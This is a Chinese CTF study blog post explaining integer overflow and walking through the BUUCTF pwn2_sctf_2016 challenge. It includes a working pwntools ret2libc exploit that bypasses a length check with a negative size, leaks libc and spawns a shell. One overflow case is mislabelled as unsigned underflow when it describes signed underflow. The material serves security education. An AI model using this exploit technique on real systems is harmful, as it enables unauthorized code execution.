PWN学习-整数溢出
整数溢出
如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出
和堆溢出
,而后两者都会导致任意代码执行
。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
整数的计算#
计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。
数据类型 | 字节数(16位) | 字节数(32位) | 字节数(64位) | 取值范围(32位)(10进制) | 取值范围(32位)(16进制) |
---|---|---|---|---|---|
byte | 1 | 1 | 1 | -128 ~ 127 | 0x00 ~ 0xFF |
char | 1 | 1 | 1 | -128 ~ 127 | 0x00 ~ 0xFF |
int | 2 | 4 | 4 | -2,147,483,648 ~ 2,147,483,647 | 0xFFFFFFFF ~ 0x80000000(-0) 0x00000000(+0) ~ 0x7FFFFFFF |
unsigned int | 2 | 4 | 4 | 0 ~ 4,294,967,295 | 0x00000000 ~ 0xFFFFFFFF |
float | 4 | 4 | 8 | 3.4E +/- 38(7 digits) | |
double | 8 | 8 | 8 | 1.7E +/- 308(15 digits) |
异常情况#
关于整数的异常情况主要有三种:
- 溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。
溢出标志OF
可检测有符号数的溢出; - 回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。
进位标志CF
可检测无符号数的回绕; - 截断,将一个较大宽度的数存入一个宽度小的操作数中,
高位发生截断
。
或者说计算机中有4种溢出情况,以32位整数为例。
- 无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。
- 无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。
- 有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。
- 无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。
整数溢出漏洞利用#
整数溢出要配合其他类型的缺陷才能有用,不像栈溢出等内存破坏可以直接通过覆盖内存进行利用,常常需要进行一定转换才能溢出。常见的转换方式有两种。
- 整数溢出转换成缓冲区溢出
整数溢出可以将一个很小的数突变成很大的数。比如,无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数,导致缓冲区溢出。
另一种情况是通过输入负数的办法来绕过一些长度检查,如一些程序会使用有符号数字表示长度,那么就可以使用负数来绕过长度上限检查。而大多数系统API使用无符号数来表示长度,此时负数就会变成超大的正数导致溢出。 - 整数溢出转数组越界
在C语言中,数组索引的操作只是简单地将数组指针加上索引来实现,并不会检查边界。因此,很大的索引会访问到数组后的数据,如果索引是负数,那么还会访问到数组之前的内存。
在数组索引的过程中,数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例,数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查,那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4,那么依然可以索引数组后的数据甚至整个内存空间。例如,想要索引数组后0x1000字节处的内容,只需要传入负数-2147482624,该值用十六进制数表示为0x80000400,再乘以元素长度4后,由于无符号整数上溢结果,即为0x00001000。可以看到,与整数溢出转缓冲区溢出相比,数组越界更容易利用。
例子-BUUCTF pwn2_sctf_2016#
- 使用
checksec
检测文件的保护机制,32位,只开启了NX
- 使用
ida
打开,找到关键函数vuln()
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(nptr, v2);
return printf("You said: %s\n", nptr);
}
和get_n()
int __cdecl get_n(int a1, unsigned int a2)
{
unsigned int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
v4 = getchar();
if ( !v4 || v4 == 10 || i >= a2 )
break;
v2 = i;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + i;
*(_BYTE *)(a1 + i) = 0;
return result;
}
存在system的系统调用号,但是无/bin/sh
-
atoi(),C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个int型整数。
get_n(int a1, unsigned int a2)
,对长度的接收(第二个参数)是无符号整型,所以第一个get_n()输入-1
,可以通过>32的判断,但是在第二个get_n(),-1变成4294967295,造成整数溢出,使得我们能够进行缓冲区溢出攻击。 -
exp
ret2libc
libc
文件可以利用buuoj给出的 https://files.buuoj.cn/files/85ee93d92fc553f78f195a133690eef3/libc-2.23.so
from pwn import *
# p = process('./pwn2')
p = remote('node4.buuoj.cn',28281)
elf = ELF('pwn2_sctf_2016')
libc = ELF('libc-2.23.so')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']
p.sendlineafter('read? ', '-999')
payload = b'a' * (0x2C + 0x4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendlineafter('data!\n', payload)
p.recvuntil('\n')
printf_addr = u32(p.recv(4))
print('printf_addr: ', hex(printf_addr))
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'.encode()))
payload = b'a' * (0x2C + 0x4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p.sendlineafter('read? ', '-999')
p.sendlineafter('data!\n', payload)
p.interactive()
- 得到flag
flag{5a03e65f-a846-4b32-aa4e-0b86c4503fc6}
参考链接:
https://www.cnblogs.com/VxerLee/p/15434626.html
https://blog.csdn.net/Bigcat_u/article/details/82821326
https://niceseven.github.io/post/2020/03/10/buuctf-pwn-pwn2_sctf_2016/
https://lht.wiki/20220202-ctf-pwn2/
《从0到1:CTFer成长之路》/Nu1L战队
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)